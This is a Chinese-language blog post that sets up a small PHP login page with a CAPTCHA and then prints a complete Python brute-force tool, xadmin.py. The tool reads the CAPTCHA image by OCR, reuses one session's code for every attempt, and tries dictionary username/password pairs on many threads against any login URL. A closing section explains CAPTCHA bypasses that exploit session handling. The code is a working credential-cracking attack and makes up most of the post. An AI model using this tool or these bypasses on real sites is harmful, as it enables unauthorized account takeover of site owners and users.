自动识别验证码暴力破解

on under web
12 minute read

0x00 环境准备

admin.php,yanzhengma.php,check_login.php

admin.php:管理员登录页面  
yanzhengma.php:验证码生成页面  
check_login.php:用户名密码和验证码核对页面  

admin.php内容如下:

<!-- DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd" -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title></title>
</head>
 
<body>
<form action="check_login.php" method="post">
username:<input type="text" name="username">
<br>
password:<input type="password" name="pass">
<br>
<input type="text" name="code" />
<img id="checkpic" src="yanzhengma.php" alt="看不清楚,换一张" style="cursor: pointer; vertical-align:middle;" onClick="changing()"/>
<!--<button type="button" onClick="create_code()">更换</button>-->
<button type="submit">提交</button>
</form>
<script>
function changing(){
    document.getElementById('checkpic').src="yanzhengma.php?"+Math.random();
} 
</script>

</body>
</html>

yanzhengma.php内容如下:

<?php

session_start();
function random($len) {
		$srcstr = "1a2s3d4f5g6hj8k9qwertyupzxcvbnm";
		mt_srand();
		$strs = "";
		for ($i = 0; $i < $len; $i++) {
				$strs .= $srcstr[mt_rand(0, 30)];
		}
		return $strs;
}

//随机生成的字符串
$str = random(4);

//验证码图片的宽度
$width  = 50;

//验证码图片的高度
$height = 25;

//声明需要创建的图层的图片格式
@ header("Content-Type:image/png");

//创建一个图层
$im = imagecreate($width, $height);

//背景色
$back = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

//模糊点颜色
//$pix  = imagecolorallocate($im, 187, 230, 247);

//字体色
//$font = imagecolorallocate($im, 41, 163, 238);
$font = imagecolorallocate($im, 0, 0, 0);

//绘模糊作用的点
//mt_srand();
//for ($i = 0; $i < 1000; $i++) {
//    imagesetpixel($im, mt_rand(0, $width), mt_rand(0, $height), $pix);
//}

//输出字符
imagestring($im, 5, 7, 5, $str, $font);

//输出矩形(对图像识别杀伤大)
//imagerectangle($im, 0, 0, $width -1, $height -1, $font);

//输出图片
imagepng($im);

imagedestroy($im);

//$str = md5($str);

//选择 cookie
//SetCookie("verification", $str, time() + 7200, "/");

//选择 Session
$_SESSION["verification"] = $str;
?>

check_login.php页面内容如下:

<?php
session_start();
echo 'session:'.$_SESSION["verification"];
echo '<br>';
echo 'code:'.$_POST['code'];
if($_POST['code'] == $_SESSION["verification"] and $_POST['username']=='admin' and $_POST['pass']=='woaini'){
		echo "Congratulations! you have break it,good job";
		$a="A";
		for($i=0;i<5000;$i++)
			$a=$a."B";
		echo $a;
		//header("Location: http://3xp10it.cc");
}else{
		echo 'no';
}
?>

0x01 xadmin.py

usage: python3 xadmin.py http://localhost/admin.php

xadmin.py为爆破代码,内容如下:

import time
import os
import re
import sys
from concurrent import futures
os.system("pip3 install exp10it -U --no-cache")
from exp10it import CLIOutput
from exp10it import figlet2file
from exp10it import get_user_and_pass_form_from_url
from exp10it import get_yanzhengma_form_and_src_from_url
from exp10it import get_string_from_url_or_picfile
from exp10it import ModulePath
from exp10it import get_remain_time


def crack_admin_login_url(
        url,
        user_dict_file=ModulePath + "dicts/user.txt",
        pass_dict_file=ModulePath + "dicts/pass.txt",
        yanzhengma_len=0):
    # 这里的yanzhengma_len是要求的验证码长度,默认不设置,自动获得,根据不同情况人为设置不同值效果更好
    # 爆破管理员后台登录url,尝试自动识别验证码,如果管理员登录页面没有验证码,加了任意验证码数据也可通过验证
    figlet2file("cracking admin login url", 0, True)
    print("cracking admin login url:%s" % url)
    print("正在使用吃奶的劲爆破登录页面...")

    def crack_admin_login_url_thread(xxx_todo_changeme1):
        (url, username, password) = xxx_todo_changeme1
        if get_flag[0] == 1:
            return
        if has_yanzhengma[0] == False:
            values = {
                '%s' %
                user_form_name: '%s' %
                username,
                '%s' %
                pass_form_name: '%s' %
                password}
        else:
            values = {
                '%s' %
                user_form_name: '%s' %
                username,
                '%s' %
                pass_form_name: '%s' %
                password,
                '%s' %
                yanzhengma_form_name: '%s' %
                yanzhengma}

        try_time[0] += 1
        html = s.post(post_url, values).text
        USERNAME_PASSWORD = "(" + username + ":" + \
            password + ")" + (52 - len(password)) * " "
        # 每100次计算完成任务的平均速度

        left_time = get_remain_time(
            start[0],
            biaoji_time[0],
            remain_time[0],
            100,
            try_time[0],
            sum[0])
        remain_time[0] = left_time
        # print(try_time[0])
        # 这里打印出返回的内容利于判断相关信息
        # print(html)

        sys.stdout.write('-' * (try_time[0] * 100 // sum[0]) + '>' + str(try_time[0] * 100 // sum[0]) +
                         '%' + ' %s/%s  remain time:%s  %s\r' % (try_time[0], sum[0], remain_time[0], USERNAME_PASSWORD))
        sys.stdout.flush()

        if len(html) > logined_least_length:
            # 认为登录成功
            get_flag[0] = 1
            end = time.time()
            CLIOutput().good_print(
                "congratulations!!! admin login url cracked succeed!!!", "red")
            string = "cracked admin login url:%s username and password:(%s:%s)" % (
                url, username, password)
            CLIOutput().good_print(string, "red")
            print("you spend time:" + str(end - start[0]))
            http_domain_value = get_http_domain_from_url(url)
            # 经验证terminate()应该只能结束当前线程,不能达到结束所有线程
            table_name_list = get_target_table_name_list(http_domain_value)
            urls_table_name = http_domain_value.split(
                "/")[-1].replace(".", "_") + "_urls"

            # 在爆破成功时将数据库中相应字段标记,并发送邮件
            # 在非urls表中将cracked_admin_login_urls_info字段添加新的爆破信息
            for each_table in table_name_list:
                auto_write_string_to_sql(
                    string,
                    eval(get_key_value_from_config_file('config.ini', 'default', 'db_name')),
                    each_table,
                    "cracked_admin_login_urls_info",
                    "http_domain",
                    http_domain_value)
            # 将urls表中cracked_admin_login_url_info字段标记为爆破结果信息
            execute_sql_in_db(
                "update %s set cracked_admin_login_url_info='%s' where url='%s'" %
                (urls_table_name, string, url), eval(get_key_value_from_config_file('config.ini', 'default', 'db_name')))
            mail_msg_to(
                string,
                subject="cracked webshell url")
            return {'username': username, 'password': password}

    def crack_admin_login_url_inside_func(url, username, pass_dict_file):
        # urls和usernames是相同内容的列表
        urls = []
        usernames = []
        # passwords是pass_dict_file文件对应的所有密码的集合的列表
        passwords = []
        i = 0
        while 1:
            if os.path.exists(pass_dict_file) is False:
                print("please input your password dict:>", end=' ')
                pass_dict_file = input()
                if os.path.exists(pass_dict_file) is True:
                    break
            else:
                break
        f = open(pass_dict_file, "r+")
        for each in f:
            urls.append(url)
            usernames.append(username)
            each = re.sub(r"(\s)$", "", each)
            passwords.append(each)
            i += 1
        f.close()
        sum[0] = usernames_num * i

        with futures.ThreadPoolExecutor(max_workers=20) as executor:
            executor.map(crack_admin_login_url_thread, list(zip(urls, usernames, passwords)))

    get_result = get_user_and_pass_form_from_url(url)
    user_form_name = get_result['user_form_name']
    pass_form_name = get_result['pass_form_name']
    # print(user_form_name)
    # print(pass_form_name)
    # input()
    form_action_url = get_result['form_action_url']
    post_url = url[:-len(url.split("/")[-1])] + form_action_url
    if user_form_name is None:
        print("user_form_name is None")
        return
    if pass_form_name is None:
        print("pass_form_name is None")
        return
    unlogin_length = len(get_result['response_key_value']['content'])
    # 如果post数据后返回数据长度超过未登录时的0.5倍则认为是登录成功
    logined_least_length = unlogin_length + unlogin_length / 2
    get_flag = [0]
    try_time = [0]
    sum = [0]
    start = [0]

    # 用来标记当前时间的"相对函数全局"变量
    biaoji_time = [0]
    # 用来标记当前剩余完成时间的"相对函数全局"变量
    tmp = time.time()
    remain_time = [tmp - tmp]
    # current_username_password={}

    has_yanzhengma = [False]
    find_yanzhengma = get_yanzhengma_form_and_src_from_url(url)
    # print("现在打印是否找到了验证码表单")
    # print(find_yanzhengma)
    # input()
    if find_yanzhengma:
        yanzhengma_form_name = find_yanzhengma['yanzhengma_form_name']
        yanzhengma_src = find_yanzhengma['yanzhengma_src']
        has_yanzhengma = [True]

        while 1:
            # 下面获取一次验证码,只获取一次就好了

            # 这里不用exp10it模块中打包好的get_request和post_request来发送request请求,因为要保留session在服务器需要
            #yanzhengma = get_string_from_url_or_picfile(yanzhengma_src)
            import requests
            s = requests.session()
            import shutil
            response = s.get(yanzhengma_src, stream=True)
            with open('img.png', 'wb') as out_file:
                shutil.copyfileobj(response.raw, out_file)
            del response
            yanzhengma = get_string_from_url_or_picfile("img.png")
            os.system("rm img.png")

            time.sleep(3)
            if re.search(r"[^a-zA-Z0-9]+", yanzhengma):
                # time.sleep(3)
                continue
            elif re.search(r"\s", yanzhengma):
                continue
            elif yanzhengma == "":
                continue
            else:
                if yanzhengma_len != 0:
                    if len(yanzhengma) != yanzhengma_len:
                        continue
                # print(yanzhengma)
                # print(len(yanzhengma))
                break

    with open(r"%s" % user_dict_file, "r+") as user_file:
        all_users = user_file.readlines()
        usernames_num = len(all_users)
        start[0] = time.time()
        for username in all_users:
            # 曾经双层多线程,没能跑完所有的组合,于是不再这里再开多线程
            username = re.sub(r'(\s)$', '', username)
            crack_admin_login_url_inside_func(url, username, pass_dict_file)

    return get_flag[0]
if __name__ == '__main__':
    url = sys.argv[1]
    # 下面加4是因为http://localhost/admin.php中验证码为4,在不确定验证码长度情况下下面第二个参数不用写
    # crack_admin_login_url(url,yanzhengma_len=4)
    crack_admin_login_url(url)

0x02 About

1.关于验证码

这里只要获取一次验证码就可以了,因为每次post到的url不是登录页面,而是登录页面背后的form action页
面(如果form action页面和登录页面相同则不存在下面的问题),每次直接访问登录页面都会访问一次验证码
生成页面,一旦访问了验证码生成页面,客户端在服务器上存储的session就变了,所以暴破时,第一次访问登
录页面有没有验证码生成页面的url,如果有的话就尝试再直接访问这个验证码页面,而不是去访问登录页面,
访问验证码页面后,服务器上存储的session刷新了,然后再也不访问登录页面和验证码页面了[因为每次访问
到了验证码页面后服务器上存储的session都会刷新],直接提交识别到的验证码和用户名和密码到
form action的url,每次用户名和密码都可以变,但验证码可以不变

也可以尝试首先访问登录页面,尝试得到验证码url[这里session已经刷新]和form action表单提交到的url,
如果能够得到验证码url,说明登录页面有验证码,然后换一个浏览器[换一个没有访问过验证码url的浏览器]
直接将用户名和密码提交到刚才获得的form action提交到的url,这里不用加验证码就可以直接暴破了,要
求form action提交到的url[也即用户名密码和验证码验证页面]中的验证方式如:
if $_POST['eg.code']==$_SESSION['eg.verification']则通过验证码这一关验证,如果验证码的验证代码
是:
   if md5($_POST['eg.code'])==$_SESSION['eg.verification']则通过验证码这一关验证
这样的形式就没办法用换浏览器不加验证码的方法来暴破了


2.关于python中的session

在xadmin.py中由于要暴力破解的url的验证码页面会在服务器上生成session,所以在python中要拥有让服务器保存session的功
能,普通的请求是不能让服务器保存session的,如果服务器上没有保存的session[也即session['eg.verification']=''],当破
解提交识别后的验证码和用户名+密码到check_login.php时,这样会始终无法成功验证,因为识别的验证码不可能为空

python的session功能访问:
	
http://stackoverflow.com/questions/12737740/python-requests-and-persistent-sessions
<eg.>
		s=requests.session()
		s.post('https://localhost/login.py', login_data)
		#logged in! cookies saved for future requests.
		r2 = s.get('https://localhost/profile_data.json', ...)
		#cookies sent automatically!
		#do whatever, s will keep your cookies intact :)

本文中代码链接如下: xadmin

session, python, php
home
github
archive
category